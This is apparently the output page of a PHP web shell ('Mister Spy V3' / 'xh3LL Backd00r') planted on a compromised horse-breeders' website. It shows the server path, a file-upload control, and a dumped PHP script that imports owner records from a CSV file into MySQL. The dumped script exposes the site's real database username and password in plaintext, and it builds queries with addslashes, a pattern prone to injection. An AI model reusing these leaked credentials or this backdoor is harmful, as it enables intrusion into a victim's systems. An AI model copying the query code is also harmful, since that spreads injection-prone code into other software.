Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/actualizador/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/actualizador/propietarios.php

<?php

class DB 
{
	static public function String($string)
	{		
		//return "'".addslashes(toHTML($string))."'";
		return "'".addslashes($string)."'";
	}
	
	static public function StringUnquoted($string)
	{
		return addslashes($string);
	}
	
	static public function Number($sNumber)
	{
		return (is_numeric($sNumber) ? $sNumber : 'NULL');
	}
	
	static public function Date($date)
	{
        if (($ret = DB::parseDate($date, '%Y-%m-%d %H:%M:%s')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%d/%m/%Y %H:%M:%s')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%d/%m/%Y %H:%M')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%d/%m/%Y %H')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%d/%m/%Y')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%Y-%m-%d %H:%M:%s')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%d-%m-%Y %H:%M:%s')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%d-%m-%Y %H:%M')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%d-%m-%Y %H')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%d-%m-%Y')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%Y-%m-%d %H:%M')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%Y-%m-%d %H')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%Y-%m-%d')) != false)
                return "'$ret'";

        return 'NULL';
	}

	
	static public function Bool($sBool)
	{
		if ($sBool == true || $sBool == 1)
			return '1';
		return '0';
	}

	static private function parseDate( $date, $format ) 
	{
		// Builds up date pattern from the given $format, keeping delimiters in place.
		if( !preg_match_all( "/%([YmdHMsu])([^%])*/", $format, $formatTokens, PREG_SET_ORDER ) ) 
			return false;
	
		foreach( $formatTokens as $formatToken ) 
		{
			$delimiter = preg_quote( $formatToken[2], "/" );
			if($formatToken[1] == 'Y') 
			{
				$datePattern .= '(.{1,4})'.$delimiter;
			} 
			elseif($formatToken[1] == 'u') 
			{
				$datePattern .= '(.{1,5})'.$delimiter;
			} 
			else 
			{
				$datePattern .= '(.{1,2})'.$delimiter;
			}
		}
		
		// Splits up the given $date
		if( !preg_match( "/^".$datePattern."/", $date, $dateTokens) ) 
		{
			return false;
		}
	  
		$dateSegments = array();
		for($i = 0; $i < count($formatTokens); $i++) 
		{
			$dateSegments[$formatTokens[$i][1]] = $dateTokens[$i+1];
		}
	
		// Reformats the given $date into rfc3339
		if( $dateSegments["Y"] && $dateSegments["m"] && $dateSegments["d"] ) 
		{
			if( ! checkdate ( $dateSegments["m"], $dateSegments["d"], $dateSegments["Y"] )) 
			{ 
				return false; 
			}
			
			$dateReformated =
			str_pad($dateSegments["Y"], 4, '0', STR_PAD_LEFT)
			."-".str_pad($dateSegments["m"], 2, '0', STR_PAD_LEFT)
			."-".str_pad($dateSegments["d"], 2, '0', STR_PAD_LEFT);
		} 
		else 
		{
			return false;
		}
	  
		if( $dateSegments["H"] && $dateSegments["M"] ) 
		{
			$dateReformated .=
			" ".str_pad($dateSegments["H"], 2, '0', STR_PAD_LEFT)
			.':'.str_pad($dateSegments["M"], 2, '0', STR_PAD_LEFT);
	
			if( $dateSegments["s"] ) 
			{
				$dateReformated .=
				":".str_pad($dateSegments["s"], 2, '0', STR_PAD_LEFT);
				if( $dateSegments["u"] ) 
				{
					$dateReformated .=
					'.'.str_pad($dateSegments["u"], 5, '0', STR_PAD_RIGHT);
				}
			}
		}
	
		return $dateReformated;
	}
}


set_time_limit(99999999999);




$hostname_cnx = "localhost";
$Animalbase_cnx = "caballos_bd";
$username_cnx = "caballos_usuario";
$password_cnx = "V4kadl8xLdDR";
$cnx = mysql_pconnect($hostname_cnx, $username_cnx, $password_cnx) or trigger_error(mysql_error(),E_USER_ERROR);
mysql_select_db($Animalbase_cnx, $cnx);






$Handle = fopen('accc/EXPD_2.txt', "r");
$Header = 1;
$Row	= 1;
$Id		= 1;
$Error	= "";



while (($Animal = fgetcsv($Handle, 1000,  ";")) !== FALSE)
{
	if ($Header != 0)
	{			
		if((trim($Animal[2]) != ""))
		{	
			#Obtengo los datos para agregarlos en la base de datos
			$NumeroSocio 	= $Animal[1];
			$Socio 			= $Animal[2];
			$Nombre 		= $Animal[2];

			/* verificamos si esxiste el registro, entonces utilizamos el Id existente */
			$queryPropietario = "SELECT * FROM tblPropietarios";
			$queryPropietario.= " WHERE NumeroSocio = " . DB::Number($NumeroSocio);
			$sqlPropietario	= mysql_query($queryPropietario) or die(mysql_error());
			$oPropietario = mysql_fetch_array($sqlPropietario);

			if (mysql_num_rows($sqlPropietario) == 0)
			{
				$queryInsert = "";
				$queryInsert.= "INSERT INTO tblPropietarios";
				$queryInsert.= "(";
				$queryInsert.= " NumeroSocio,";
				$queryInsert.= " Nombre";
				$queryInsert.= ")";
				$queryInsert.= " VALUES ";
				$queryInsert.= "(";
				$queryInsert.= DB::String($NumeroSocio) . ", ";
				$queryInsert.= DB::String($Nombre);
				$queryInsert.= ")";
				
				$sqlInsert = mysql_query($queryInsert, $cnx) or die(mysql_error());			
			}
		}
		else
		{
			$registro = $row++;
			$mensaje .= "<br> El registro " . $row . " no se ha podido agregar.";
		}
	}

	print_r($Row);
	print_r('<br>');

	$Row++;
	$Header++;
}

print_r("Fin 1");
print_r("<br>");

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat